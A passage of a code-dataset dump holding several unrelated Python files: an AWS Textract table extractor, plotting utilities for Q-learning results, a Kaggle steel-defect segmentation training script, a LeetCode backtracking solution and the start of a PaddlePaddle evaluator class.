","repo_name":"Carthelan/Initial-learning-","sub_path":"##population.py","file_name":"##population.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26636935353","text":"import boto3\nimport json\nimport pathlib\nimport os\n\n\nclass TexTract(object):\n\n def __init__(self):\n\n self._parentdir = pathlib.Path(__file__).parent.absolute()\n self.api_fpath = os.path.join(self._parentdir, \"api_keys\", \"aws.json\")\n self.service_name = 'textract'\n self.region_name = 'us-west-2'\n self.access_key = None\n self.secret_access_key = None\n\n self.__read_api_key__()\n\n\n def __read_api_key__(self):\n\n with open(self.api_fpath, 'r') as f:\n api_data = json.load(f)\n \n self.access_key = api_data['ACCESS_KEYID']\n self.secret_access_key = api_data['SECRET_ACCESS_KEY']\n\n def _get_rows_columns_map_(self, table_result, blocks_map):\n \n rows = {}\n for relationship in table_result['Relationships']:\n if relationship['Type'] == 'CHILD':\n for child_id in relationship['Ids']:\n cell = blocks_map[child_id]\n if cell['BlockType'] == 'CELL':\n row_index = cell['RowIndex']\n col_index = cell['ColumnIndex']\n if row_index not in rows:\n # create new row\n rows[row_index] = {}\n \n # get the text value\n rows[row_index][col_index] = self._get_text_(cell, blocks_map)\n return rows\n\n\n def _get_text_(self, result, blocks_map):\n text = ''\n if 'Relationships' in result:\n for relationship in result['Relationships']:\n if relationship['Type'] == 'CHILD':\n for child_id in relationship['Ids']:\n word = blocks_map[child_id]\n if word['BlockType'] == 'WORD':\n text += word['Text'] + ' '\n if word['BlockType'] == 'SELECTION_ELEMENT':\n if word['SelectionStatus'] =='SELECTED':\n text += 'X ' \n return text\n \n def _generate_table_csv_(self, table_result, blocks_map, table_index):\n rows = self._get_rows_columns_map_(table_result, blocks_map)\n \n # get cells.\n csv = ''\n\n for row_index, cols in rows.items():\n \n for col_index, text in cols.items():\n csv += '{}'.format(text) + \",\"\n csv += '\\n'\n \n csv += '\\n\\n\\n'\n return csv\n\n\n def _generate_table_list_(self, table_result, blocks_map):\n rows = self._get_rows_columns_map_(table_result, blocks_map)\n \n # get cells.\n data = []\n\n for row_index, cols in rows.items():\n datarow = []\n for col_index, text in cols.items():\n datarow.append(text)\n data.append(datarow)\n \n return data\n\n\n def get_table_from_img(self, imgdata):\n\n client = boto3.client(\n self.service_name, region_name=self.region_name, \n aws_access_key_id=self.access_key, aws_secret_access_key=self.secret_access_key)\n\n response = client.analyze_document(Document={'Bytes': imgdata}, FeatureTypes=['TABLES'])\n\n blocks=response['Blocks']\n\n blocks_map = {}\n table_blocks = []\n\n for block in blocks:\n blocks_map[block['Id']] = block\n if block['BlockType'] == \"TABLE\":\n table_blocks.append(block)\n\n if len(table_blocks) <= 0:\n return None\n\n tables = {}\n for index, table in enumerate(table_blocks):\n tables[index] = self._generate_table_list_(table, blocks_map)\n\n return tables\n","repo_name":"IBM/covid19-india-data","sub_path":"data_extractor/local_extractor/utils/table_extractor.py","file_name":"table_extractor.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"5"} +{"seq_id":"40091806938","text":"import seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\nsns.set_theme(font_scale=2.5)\nFONT_SIZE = 20\narrow_width = 0.03\n\n\ndef plt_q_table(value, name=None):\n\tfig, ax = plt.subplots(figsize=(4, 8))\n\tplt.title(\"State-action Value (Q)\", fontsize=FONT_SIZE)\n\tprint(\"value :::\", value)\n\th = sns.heatmap(value, square=True, cmap='coolwarm',\n\t\t\t\t\tcbar=False, annot=True, annot_kws={'size': 16}, ax=ax)\n\tcb = h.figure.colorbar(h.collections[0])\n\tcb.ax.tick_params(labelsize=FONT_SIZE)\n\tplt.xticks(fontsize=FONT_SIZE)\n\tplt.yticks(fontsize=FONT_SIZE)\n\tplt.savefig(\"1-figure\" + \"/\" + name + \".png\")\n\tplt.savefig(\"1-figure\" + \"/\" + name + \".pdf\")\n\t# plt.show()\n\n\ndef plt_state_value_table(value, name=None):\n\tfig, ax = plt.subplots(figsize=(10, 8))\n\tplt.title(\"State Value (V)\", fontsize=FONT_SIZE)\n\t# print(\"value :::\", value)\n\th = sns.heatmap(value, square=True, cmap='coolwarm',\n\t\t\t\t\tcbar=False, annot=True, annot_kws={'size': 24}, ax=ax)\n\n\tcb = h.figure.colorbar(h.collections[0])\n\tcb.ax.tick_params(labelsize=FONT_SIZE)\n\tplt.xticks(fontsize=FONT_SIZE)\n\tplt.yticks(fontsize=FONT_SIZE)\n\tplt.tight_layout()\n\tplt.savefig(\"1-figure\" + \"/\" + name + \".png\")\n\tplt.savefig(\"1-figure\" + \"/\" + name + \".pdf\")\n\t# plt.show()\n\n\ndef plt_state_action_arrow_value_table(state_value, value, name=None):\n\t# fig, ax = plt.subplots(figsize=(20, 16))\n\t# FONT_SIZE = 28\n\tfig, ax = plt.subplots(figsize=(10, 8))\n\tFONT_SIZE = 18\n\tplt.title(\"State-Action Value (Q)\", fontsize=FONT_SIZE)\n\tprint(\"value :::\", value)\n\th = sns.heatmap(state_value, square=True, cmap='coolwarm',\n\t\t\t\t\tcbar=False, annot=True, annot_kws={'size': 20}, ax=ax)\n\n\tarrow_offset = 0.15\n\tarrow_length = 0.20\n\ttext_offset = 0.35\n\n\tlength = value.shape[0]\n\tweight = state_value.shape[0]\n\theight = state_value.shape[1]\n\tfor i in range(length):\n\t\tcenter = np.array([i%weight + 0.5, i//height + 0.5])\n\n\t\tif i%weight < weight -1:\n\t\t\t# right\n\t\t\tplt.text(text_offset + center[0], -0.15 + center[1], str(value[i, 0]),\n\t\t\t\t\t size=FONT_SIZE,\n\t\t\t\t\t ha='center', va='center', weight=\"bold\", color='black')\n\t\t\tplt.arrow(arrow_offset + center[0], 0. + center[1], arrow_length, 0., width=arrow_width)\n\n\t\tif i//height < height - 1:\n\t\t\t# down\n\t\t\tplt.text(0.2 + center[0], text_offset + center[1], str(value[i, 1]),\n\t\t\t\t\t size=FONT_SIZE,\n\t\t\t\t\t ha='center', va='center', weight=\"bold\", color='black')\n\t\t\tplt.arrow(0. + center[0], arrow_offset + center[1], 0., arrow_length, width=arrow_width)\n\n\t\tif i%weight > 0:\n\t\t\t# left\n\t\t\tplt.text(-text_offset + center[0], -0.15 + center[1], str(value[i, 2]),\n\t\t\t\t\t size=FONT_SIZE,\n\t\t\t\t\t ha='center', va='center', weight=\"bold\", color='black')\n\t\t\tplt.arrow(-arrow_offset + center[0], 0. + center[1], - arrow_length, 0., width=arrow_width)\n\n\t\tif i//height > 0:\n\t\t\t# up\n\t\t\tplt.text(0.2 + center[0], -text_offset + center[1], str(value[i, 3]),\n\t\t\t\t\t size=FONT_SIZE,\n\t\t\t\t\t ha='center', va='center', weight=\"bold\",\n\t\t\t\t\t color='black')\n\t\t\tplt.arrow(0. + center[0], -arrow_offset + center[1], 0., - arrow_length, width=arrow_width)\n\n\tcb = h.figure.colorbar(h.collections[0])\n\tcb.ax.tick_params(labelsize=FONT_SIZE)\n\tplt.xticks(fontsize=FONT_SIZE)\n\tplt.yticks(fontsize=FONT_SIZE)\n\tplt.tight_layout()\n\tplt.savefig(\"1-figure\" + \"/\" + name + \".png\")\n\tplt.savefig(\"1-figure\" + \"/\" + name + \".pdf\")\n\t# plt.show()\n\n\n# use to plot reward and steps\ndef comparision_performance(value_list=None,\n\t\t\t\t\t\t\tlabel_list=None,\n\t\t\t\t\t\t\tpara_name=r'$\\epsilon$',\n\t\t\t\t\t\t\tpara_name_text='epsilon',\n\t\t\t\t\t\t\ty_label_text='Episode Steps',\n\t\t\t\t\t\t\tfigure_name='',\n\t\t\t\t\t\t\talgorithm=''):\n\tfig = plt.figure(figsize=(10, 5), dpi=600)\n\tFONT_SIZE = 16\n\tplt.title(algorithm, fontsize=FONT_SIZE)\n\n\tfor index, reward in enumerate(value_list):\n\t\tplt.plot(np.array(reward), label=para_name + '=' + str(label_list[index]))\n\n\tplt.xticks(fontsize=FONT_SIZE)\n\tplt.yticks(fontsize=FONT_SIZE)\n\tplt.xlabel('Episodes', fontsize=FONT_SIZE)\n\tplt.ylabel(y_label_text, fontsize=FONT_SIZE)\n\tplt.legend(loc=2, bbox_to_anchor=(1.05, 1.0), fontsize=FONT_SIZE)\n\tplt.tight_layout()\n\tplt.savefig(\"1-figure/\" + algorithm + '_' + para_name_text + '_' + figure_name + '.pdf')\n\n\n# use to plot reward and steps\ndef comparision_all_algorithms_performance(value_list=None,\n\t\t\t\t\t\t\tlabel_list=None,\n\t\t\t\t\t\t\tpara_name=r'$\\epsilon$',\n\t\t\t\t\t\t\tpara_name_text='epsilon',\n\t\t\t\t\t\t\ty_label_text='Episode Steps',\n\t\t\t\t\t\t\tfigure_name='',\n\t\t\t\t\t\t\talgorithm=''):\n\tfig = plt.figure(figsize=(15, 7), dpi=600)\n\tplt.title(algorithm)\n\n\tfor index, reward in enumerate(value_list):\n\t\tplt.plot(np.array(reward)[:100], label=para_name + str(label_list[index]))\n\n\tplt.xlabel('Episodes')\n\tplt.ylabel(y_label_text)\n\tplt.legend(loc=2, bbox_to_anchor=(1.05, 1.0))\n\tplt.tight_layout()\n\tplt.savefig(\"1-figure/\" + algorithm + '_' + para_name_text + '_' + figure_name + '.pdf')\n\n# import numpy as np\n# np.random.seed(0)\n# import seaborn as sns\n#\n#\n# # sns.set()\n# # # sns.set_theme()\n# # fig = plt.figure(figsize=(10, 10))\n# uniform_data = np.random.rand(10, 12)\n# # # sns.heatmap(uniform_data)\n# # sns.heatmap(uniform_data, square=True, annot=True)\n# # # plt.xticks(fontsize=20) #x轴刻度的字体大小(文本包含在pd_data中了)\n# # # plt.yticks(fontsize=20)\n# # plt.savefig(\"heatmap.png\")\n# # plt.show()\n#\n#\n# fig = plt.figure(figsize=(10, 8))\n# h = sns.heatmap(uniform_data, annot=True, linewidths=0.5, cbar=False) #设置不使用其默认自带的colorbar\n# cb = h.figure.colorbar(h.collections[0]) #显示colorbar\n# cb.ax.tick_params(labelsize=16) #设置colorbar刻度字体大小。\n# plt.xticks(fontsize=16)\n# plt.yticks(fontsize=16)\n# plt.show()\n\n# # plot results\n# # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n# value_list = np.load(\"./0-data/\" + algorithm + para_name + \"-lr-value-list.npy\")\n# reward_list = np.load(\"./0-data/\" + algorithm + para_name + \"-lr-reward-list.npy\")\n# num_steps_list = np.load(\"./0-data/\" + algorithm + para_name + \"-lr-num-steps-list.npy\")\n# #\n# # # print(num_steps_list)\n# #\n# fig = plt.figure(figsize=(10, 5), dpi=600)\n# plt.title(algorithm)\n# # para_name = 'Lr_'\n# para_name = r'$\\epsilon$'\n# for index, reward in enumerate(reward_list):\n# \tplt.plot(np.array(reward)[:100], label=para_name + '=' + str(parameter_list[index]))\n# \tprint(para_name + str(index))\n#\n# para_name = 'epsilon'\n# plt.xlabel('Episodes')\n# plt.ylabel('Episode Reward')\n# plt.legend(loc=2, bbox_to_anchor=(1.05, 1.0))\n# plt.tight_layout()\n# plt.savefig(\"1-figure/\" + algorithm + '_' + para_name + '_reward.pdf')\n# # plt.show()\n#\n# fig = plt.figure(figsize=(10, 5), dpi=600)\n# plt.title(algorithm)\n# # para_name = 'Lr_'\n# para_name = r'$\\epsilon$'\n# for index, reward in enumerate(num_steps_list):\n# \tplt.plot(np.array(reward)[:100], label=para_name + '=' + str(parameter_list[index]))\n#\n# para_name = 'epsilon'\n# plt.xlabel('Episodes')\n# plt.ylabel('Episode Steps')\n# plt.legend(loc=2, bbox_to_anchor=(1.05, 1.0))\n# plt.tight_layout()\n# plt.savefig(\"1-figure/\" + algorithm + '_' + para_name + '_steps.pdf')\n# # plt.show()\n\n# for index, value in enumerate(value_list[0]):\n# value = value_list[0]\n# print(\"value ::\", value)\n# state_action = value.sum(axis=1)\n# value = np.round(value, 2)\n# state_action_value = np.round(np.reshape(state_action, (4, 4)), 2)\n# plt_q_table(value, name=\"Q-value\")\n# plt_state_value_table(state_action_value, name=\"state_action_value\")\n# plt_state_action_arrow_value_table(state_action_value, value, name=\"state_action_value_whole\")","repo_name":"hzm2016/phd_module_test","sub_path":"ME_5406_code/contents/2_Q_Learning_maze/result_analysis.py","file_name":"result_analysis.py","file_ext":"py","file_size_in_byte":7375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"72630313431","text":"import os, sys\nimport logging\nimport numpy as np\nimport pandas as pd\nimport torch\nimport random\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nimport copy\nimport torchvision\nfrom torchvision import transforms, utils\nfrom torch.utils.data import DataLoader\nimport random\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport time\nimport copy\nimport torchvision.models as models\nfrom torch import Tensor\nimport subprocess\nimport cv2\nimport seaborn as sns\n\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nimport torch.backends.cudnn as cudnn\n\nfrom albumentations import HorizontalFlip, GridDistortion, ShiftScaleRotate, Normalize, Resize, Compose, VerticalFlip, GaussNoise, Rotate\nfrom albumentations.pytorch import ToTensor\nfrom albumentations import CropNonEmptyMaskIfExists, OpticalDistortion, ElasticTransform\nfrom torch.utils.data.sampler import WeightedRandomSampler\n\nfrom sklearn.model_selection import train_test_split\nfrom imblearn.over_sampling import SMOTE\nimport random\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nseed = 10\nrandom.seed(seed)\nos.environ[\"PYTHONHASHSEED\"] = str(seed)\nnp.random.seed(seed)\ntorch.cuda.manual_seed(seed)\ntorch.backends.cudnn.deterministic = True\n\n# %% [code]\nimport subprocess, sys\n\n# %% [code]\ndef install(package):\n subprocess.call([sys.executable, \"-m\", \"pip\", \"install\", package]) \ninstall('../input/pretrainedmodels/pretrainedmodels-0.7.4/pretrainedmodels-0.7.4')\ninstall('../input/segmentationpytorch/segmentation_models.pytorch-0.0.3')\ninstall('albumentations')\nimport segmentation_models_pytorch as smp\n\n# %% [code]\nfolder_input = '/kaggle/input/severstal-steel-defect-detection'\nfolder_train_input = '/kaggle/input/severstal-steel-defect-detection/train_images/'\nfolder_test_input = '/kaggle/input/severstal-steel-defect-detection/test_images/'\npath_mask_train = '/kaggle/input/severstal-steel-defect-detection/train.csv'\nfolder = '../input/severstal-steel-defect-detection/'\npaths_imgs_train = [folder_train_input + e for e in os.listdir(folder_train_input)]\npaths_imgs_test = [folder_test_input + e for e in os.listdir(folder_test_input)]\n\ndf = pd.read_csv( folder + 'train.csv')\ndf['ImageId'], df['ClassId'] = zip(*df['ImageId_ClassId'].str.split('_'))\ndf['ClassId'] = df['ClassId'].astype(int)\ndf = df.pivot(index='ImageId',columns='ClassId',values='EncodedPixels')\n\ndf['defects'] = df.count(axis=1)\nsns.barplot(df.defects.value_counts().index,df.defects.value_counts().values)\n\n# %% [code]\ndef reform(df):\n '''\n add labels info to initial pivot table. so that pivot table is bigger\n initial defects distribution\n 1 6239\n 0 5902\n 2 425\n 3 2\n len = 12568\n return 12997\n '''\n# df = df.fillna('nan')\n\n # classes 1-4\n df_class_1 = df[df[1].isnull() == False]\n df_class_2 = df[df[2].isnull() == False]\n df_class_3 = df[df[3].isnull() == False]\n df_class_4 = df[df[4].isnull() == False]\n # negative\n df_class_0 = df[df['defects'] == 0]\n\n df_class_1['ClassId'] = 1\n df_class_2['ClassId'] = 2\n df_class_3['ClassId'] = 3\n df_class_4['ClassId'] = 4\n df_class_0['ClassId'] = 0\n\n df = pd.concat([df_class_1, df_class_2, df_class_3, df_class_4, df_class_0])\n return df\n\ndf = reform(df)\n\nclass_number = 3\ndf = df[df[class_number].isnull() == False]\ndf = pd.DataFrame(df[class_number])\n\n# %% [code]\ndf\n\n# %% [code]\ndef udf_transformer(target, phase):\n \n list_transforms = []\n \n if target in [1,3,4]:\n pc_min, pc_max = 150, 50000\n else:\n pc_min, pc_max = 5, 50000\n\n if phase == 'train':\n list_transforms.extend([CropNonEmptyMaskIfExists(height = 224, \n width = 1440, # modify this\n# ignore_values = [pc_min,pc_max], # [min, max], \n p=0.8),\n Resize(height = 256,\n width = 1600)\n ]\n ),\n# list_transforms.append(ElasticTransform(p=0.4)),\n# list_transforms.append(OpticalDistortion(p=0.4))\n list_transforms.append(HorizontalFlip(p=0.5))\n list_transforms.append(VerticalFlip(p=0.5))\n list_transforms.append(Rotate(limit=20, p=0.5))\n list_transforms.append(GaussNoise())\n list_transforms.append(GridDistortion(distort_limit=(-0.2, 0.2), p =0.6))\n list_transforms.append(Normalize([0.5], [0.5])) # important step\n list_transforms.append(ToTensor()) # using albumentations transformers, must use ToTensor from albumentations too\n return Compose(list_transforms)\n\n# %% [code]\ndef make_mask(df,row_id):\n '''Given a row index, return image_id and mask (256, 1600, 4) from the dataframe `df`'''\n fname = df.iloc[row_id].name\n \n # -------- here I only need 1 column\n labels = df.iloc[row_id][:1]\n masks = np.zeros((256, 1600, 1), dtype=np.float32)\n # -----------------------------------\n\n for idx, label in enumerate(labels.values):\n if label is not np.nan:\n label = label.split(\" \")\n positions = map(int, label[0::2])\n length = map(int, label[1::2])\n mask = np.zeros(256 * 1600, dtype=np.uint8)\n for pos, le in zip(positions, length):\n mask[pos:(pos + le)] = 1\n masks[:, :, idx] = mask.reshape(256, 1600, order='F')\n return fname, masks\n\nclass SteelDataset():\n def __init__(self, df, image_folder, target, phase, crop_size = 400):\n self.df = df\n self.root = image_folder\n self.phase = phase\n self.fnames = self.df.index.tolist()\n self.crop_size = crop_size\n self.target = target\n\n def __getitem__(self, idx):\n def crop_image_box(loc_c):\n top, bottom = 0, 256\n left = crop_size * loc_c\n right = left + crop_size\n return (left, top, right, bottom)\n \n image_id, mask = make_mask(self.df, idx)\n# target = self.df['ClassId'][idx]\n image_path = os.path.join(self.root, image_id)\n image = Image.open(image_path).convert('L')\n image = np.array(image)\n \n self.transformer = udf_transformer(self.target, self.phase)\n augmented = self.transformer(image=image, mask=mask)\n image = augmented['image']\n mask = augmented['mask']\n \n# to make image and mask 3 dimension\n image = image.reshape(1, image.shape[0], image.shape[1])\n mask = mask.permute(0,3,2,1)[0]\n \n return image, mask, self.target\n\n def __len__(self):\n return len(self.fnames)\n \n# SteelData tester\n# value = SteelDataset(df, '../input/severstal-steel-defect-detection/train_images', 'train')[0]\n\n# plt.imshow(value[0][0]), print (value[0].shape, value[1].shape)\n\n# %% [code]\ndf_train, df_val = train_test_split(df, test_size=0.10, random_state=7)\n\n# %% [code]\n# a big copy\n\ndef predict(X, threshold):\n '''X is sigmoid output of the model'''\n X_p = np.copy(X)\n preds = (X_p > threshold).astype('uint8')\n return preds\n\nclass Meter:\n '''A meter to keep track of iou and dice scores throughout an epoch'''\n def __init__(self, phase, epoch):\n self.base_threshold = 0.5 # <<<<<<<<<<< here's the threshold\n self.base_dice_scores = []\n self.dice_neg_scores = []\n self.dice_pos_scores = []\n self.iou_scores = []\n\n def update(self, targets, outputs):\n probs = torch.sigmoid(outputs)\n dice, dice_neg, dice_pos, _, _ = metric(probs, targets, self.base_threshold)\n self.base_dice_scores.append(dice)\n self.dice_pos_scores.append(dice_pos)\n self.dice_neg_scores.append(dice_neg)\n # critical here. predict function, take self.base_threshold\n preds = predict(probs, self.base_threshold)\n iou = compute_iou_batch(preds, targets, classes=[1])\n self.iou_scores.append(iou)\n\n def get_metrics(self):\n dice = np.mean(self.base_dice_scores)\n dice_neg = np.mean(self.dice_neg_scores)\n dice_pos = np.mean(self.dice_pos_scores)\n dices = [dice, dice_neg, dice_pos]\n iou = np.nanmean(self.iou_scores)\n return dices, iou\n\ndef epoch_log(phase, epoch, epoch_loss, meter, start):\n '''logging the metrics at the end of an epoch'''\n dices, iou = meter.get_metrics()\n dice, dice_neg, dice_pos = dices\n print(\"Loss: %0.4f | IoU: %0.4f | dice: %0.4f | dice_neg: %0.4f | dice_pos: %0.4f\" % (epoch_loss, iou, dice, dice_neg, dice_pos))\n return dice, iou\n\ndef compute_ious(pred, label, classes, ignore_index=255, only_present=True):\n '''computes iou for one ground truth mask and predicted mask'''\n pred[label == ignore_index] = 0\n ious = []\n for c in classes:\n label_c = label == c\n if only_present and np.sum(label_c) == 0:\n ious.append(np.nan)\n continue\n pred_c = pred == c\n intersection = np.logical_and(pred_c, label_c).sum()\n union = np.logical_or(pred_c, label_c).sum()\n if union != 0:\n ious.append(intersection / union)\n return ious if ious else [1]\n\ndef compute_iou_batch(outputs, labels, classes=None):\n '''computes mean iou for a batch of ground truth masks and predicted masks'''\n ious = []\n preds = np.copy(outputs) # copy is imp\n labels = np.array(labels) # tensor to np\n for pred, label in zip(preds, labels):\n ious.append(np.nanmean(compute_ious(pred, label, classes)))\n iou = np.nanmean(ious)\n return iou\n\n# %% [code]\ndef metric(probability, truth, threshold=0.5, reduction='none'):\n '''Calculates dice of positive and negative images seperately'''\n '''probability and truth must be torch tensors'''\n batch_size = len(truth)\n with torch.no_grad():\n probability = probability.view(batch_size, -1)\n truth = truth.view(batch_size, -1)\n assert(probability.shape == truth.shape)\n\n p = (probability > threshold).float()\n t = (truth > 0).float()\n # =========\n# print (\"probability, truth, p, t\", probability.shape, truth.shape, p.shape, t.shape)\n # =========\n\n t_sum = t.sum(-1)\n p_sum = p.sum(-1)\n neg_index = torch.nonzero(t_sum == 0)\n pos_index = torch.nonzero(t_sum >= 1)\n \n dice_neg = (p_sum == 0).float()\n dice_pos = 2 * (p*t).sum(-1)/((p+t).sum(-1))\n \n dice_neg = dice_neg[neg_index]\n dice_pos = dice_pos[pos_index]\n dice = torch.cat([dice_pos, dice_neg])\n \n dice_neg = np.nan_to_num(dice_neg.mean().item(), 0)\n dice_pos = np.nan_to_num(dice_pos.mean().item(), 0)\n \n dice = dice.mean().item()\n\n num_neg = len(neg_index)\n num_pos = len(pos_index)\n \n return dice, dice_neg, dice_pos, num_neg, num_pos\n\n# %% [code]\nclass Trainer(object):\n '''This class takes care of training and validation of our model'''\n def __init__(self, model, df_train, df_val):\n self.image_folder = '../input/severstal-steel-defect-detection/train_images'\n self.num_workers = 6\n self.batch_size = 8\n self.accumulation_steps = 96 // self.batch_size\n self.lr = 1.3e-4\n self.num_epochs = 30\n self.best_loss = float(\"inf\")\n self.phases = [\"train\", \"val\"]\n self.target = 3\n self.device = torch.device(\"cuda:0\")\n# torch.set_default_tensor_type(\"torch.cuda.FloatTensor\") #this line is toxic... dont use it\n self.net = model\n self.criterion = torch.nn.BCEWithLogitsLoss()\n self.optimizer = optim.Adam(self.net.parameters(), lr=self.lr)\n self.scheduler = ReduceLROnPlateau(self.optimizer, factor=0.333, mode=\"min\", patience=3, verbose=True)\n self.net = self.net.to(self.device)\n cudnn.benchmark = True\n \n self.train_dataset = SteelDataset(df_train, self.image_folder, self.target, phase = 'train')\n self.val_dataset = SteelDataset(df_val, self.image_folder, self.target, phase = 'val', )\n \n self.dataloaders = {\n 'train' : DataLoader(\n self.train_dataset,\n batch_size = self.batch_size,\n num_workers = self.num_workers,\n shuffle = True, \n ),\n 'val' : DataLoader(\n self.val_dataset,\n batch_size = self.batch_size,\n num_workers = self.num_workers,\n shuffle = True, \n ) \n }\n \n self.losses = {phase: [] for phase in self.phases}\n self.iou_scores = {phase: [] for phase in self.phases}\n self.dice_scores = {phase: [] for phase in self.phases}\n \n def forward(self, images, targets):\n images = images.to(self.device)\n masks = targets.to(self.device)\n outputs = self.net(images)\n loss = self.criterion(outputs, masks)\n return loss, outputs\n\n def iterate(self, epoch, phase):\n meter = Meter(phase, epoch)\n start = time.strftime(\"%H:%M:%S\")\n print(f\" ⏰: {start} \\nStarting epoch: {epoch} | phase: {phase} \")\n batch_size = self.batch_size\n self.net.train(phase == \"train\")\n dataloader = self.dataloaders[phase]\n running_loss = 0.0\n total_batches = len(dataloader)\n self.optimizer.zero_grad()\n \n n = 0\n for itr, batch in enumerate(dataloader):\n images, targets, _ = batch\n loss, outputs = self.forward(images, targets)\n loss = loss / self.accumulation_steps\n if phase == \"train\":\n loss.backward()\n if (itr + 1 ) % self.accumulation_steps == 0:\n self.optimizer.step()\n self.optimizer.zero_grad()\n running_loss += loss.item()\n outputs = outputs.detach().cpu()\n meter.update(targets, outputs)\n n += 1\n if n % 200 == 0:\n print (\"iteration\", n )\n# checker.append(outputs[0])\n# checker_target.append(targets[0])\n# checker_image.append(images[0])\n# plt.imshow(checker_image[-1][0])\n# plt.show()\n# plt.imshow(checker_target[-1][0])\n# plt.show()\n# plt.imshow(Tensor.cpu(checker[-1][0]).detach().numpy())\n# plt.show()\n \n epoch_loss = (running_loss * self.accumulation_steps) / total_batches\n dice, iou = epoch_log(phase, epoch, epoch_loss, meter, start)\n self.losses[phase].append(epoch_loss)\n self.dice_scores[phase].append(dice)\n self.iou_scores[phase].append(iou)\n torch.cuda.empty_cache()\n return epoch_loss\n\n def start(self):\n for epoch in range(self.num_epochs):\n self.iterate(epoch, \"train\")\n state = {\n \"epoch\": epoch,\n# \"best_dice\": self.best_dice, \n \"best_loss\": self.best_loss,\n \"state_dict\": self.net.state_dict(),\n \"optimizer\": self.optimizer.state_dict(),\n }\n with torch.no_grad():\n val_loss = self.iterate(epoch, \"val\")\n self.scheduler.step(val_loss)\n if val_loss < self.best_loss:\n print(\"******** New optimal found, saving state ********\")\n state[\"best_loss\"] = self.best_loss = val_loss\n torch.save(state, \"./model.pth\")\n print()\n\n# %% [code]\ndef prepare_model( backbone = 'se_resnet50', weight='None', checkpoint_path=None):\n '''\n change channel 3 to channel 1\n original as the following\n # first layer\n model.encoder.layer0.conv1 = nn.Conv2d(3, 64,...)\n # last layer\n model.decoder.final_conv = nn.Conv2d(512, 3,...)\n '''\n if weight == 'None':\n model = smp.PSPNet(backbone, encoder_weights=None, classes=1, activation=None)\n elif weight == 'imagenet':\n model = smp.PSPNet(backbone, encoder_weights='imagenet', classes=1, activation=None)\n elif weight == 'pretrained':\n model = smp.PSPNet(backbone, encoder_weights=None, classes=1, activation=None)\n model.encoder.layer0.conv1 = nn.Conv2d(1, 64,kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n model.to(torch.device(\"cuda:0\"))\n state = torch.load(checkpoint_path, map_location=lambda storage, loc: storage)\n model.load_state_dict(state[\"state_dict\"])\n \n model.encoder.layer0.conv1 = nn.Conv2d(1, 64,kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n \n return model\n\nmodel = prepare_model(backbone = 'se_resnet101', weight='pretrained', checkpoint_path='../input/segmenter-class3/model.pth')\nmodel_trainer = Trainer(model, df_train, df_val)\nmodel_trainer.start()\n\nlosses = model_trainer.losses\ndice_scores = model_trainer.dice_scores # overall dice\niou_scores = model_trainer.iou_scores\n\ndef plot(scores, name):\n plt.figure(figsize=(15,5))\n plt.plot(range(len(scores[\"train\"])), scores[\"train\"], label=f'train {name}')\n plt.plot(range(len(scores[\"train\"])), scores[\"val\"], label=f'val {name}')\n plt.title(f'{name} plot'); plt.xlabel('Epoch'); plt.ylabel(f'{name}');\n plt.legend(); \n plt.show()\n\nplot(losses, \"BCE loss\")\nplot(dice_scores, \"Dice score\")\nplot(iou_scores, \"IoU score\")","repo_name":"kangjin2014/my-kaggle-toolbox","sub_path":"utils/segmenter.py","file_name":"segmenter.py","file_ext":"py","file_size_in_byte":17530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27046697762","text":"from typing import Sequence\n\n\nclass Solution:\n # Using backtrack\n def makesquare(self, M: Sequence[int]) -> bool:\n M.sort(reverse=True)\n n, side = len(M), sum(M) // 4\n if sum(M) % 4 != 0 or M[0] > side:\n return False\n\n def btrack(ptr, rest, done):\n if done == 3:\n return True\n if ptr == n:\n return False\n num = M[ptr]\n if num > rest:\n return btrack(ptr + 1, rest, done)\n M[ptr] = side + 1\n if num == rest:\n return btrack(1, side, done + 1)\n else:\n # Use the current match or not\n if btrack(ptr + 1, rest - num, done):\n return True\n M[ptr] = num\n return btrack(ptr + 1, rest, done)\n\n return btrack(0, side, 0)\n\n\nif __name__ == '__main__':\n # print(Solution().makesquare([1, 1, 2, 2, 2]))\n # print(Solution().makesquare([3, 3, 3, 3, 4]))\n print(Solution().makesquare([12, 13, 1, 15, 11, 17, 16, 3, 15, 11, 13, 4, 2, 16, 15]))\n","repo_name":"XinweiChai/leetcode_problems","sub_path":"python/problem473.py","file_name":"problem473.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15660180434","text":"import warnings\nimport numpy as np\n\nimport paddle\nfrom . import layers\nfrom .framework import Program, Variable, program_guard\nfrom . import unique_name\nfrom .layer_helper import LayerHelper\n\n\ndef _clone_var_(block, var):\n assert isinstance(var, Variable)\n return block.create_var(\n name=var.name,\n shape=var.shape,\n dtype=var.dtype,\n type=var.type,\n lod_level=var.lod_level,\n persistable=True,\n )\n\n\nclass Evaluator:\n \"\"\"\n Warning: better to use the fluid.metrics.* things, more\n flexible support via pure Python and Operator, and decoupled\n with executor. Short doc are intended to urge new user\n start from Metrics.\n\n Base Class for all evaluators.\n\n Args:\n name(str): The name of evaluator. such as, \"accuracy\". Used for generate\n temporary variable name.\n main_program(Program, optional): The evaluator should be added to this\n main_program. Default default_main_program()\n startup_program(Program, optional):The parameter should be added to this\n startup_program. Default default_startup_program()\n\n Attributes:\n states(list): The list of state variables. states will be reset to zero\n when `reset` is invoked.\n metrics(list): The list of metrics variables. They will be calculate\n every mini-batch\n \"\"\"\n\n def __init__(self, name, **kwargs):\n warnings.warn(\n \"The %s is deprecated, because maintain a modified program inside evaluator cause bug easily, please use fluid.metrics.%s instead.\"\n % (self.__class__.__name__, 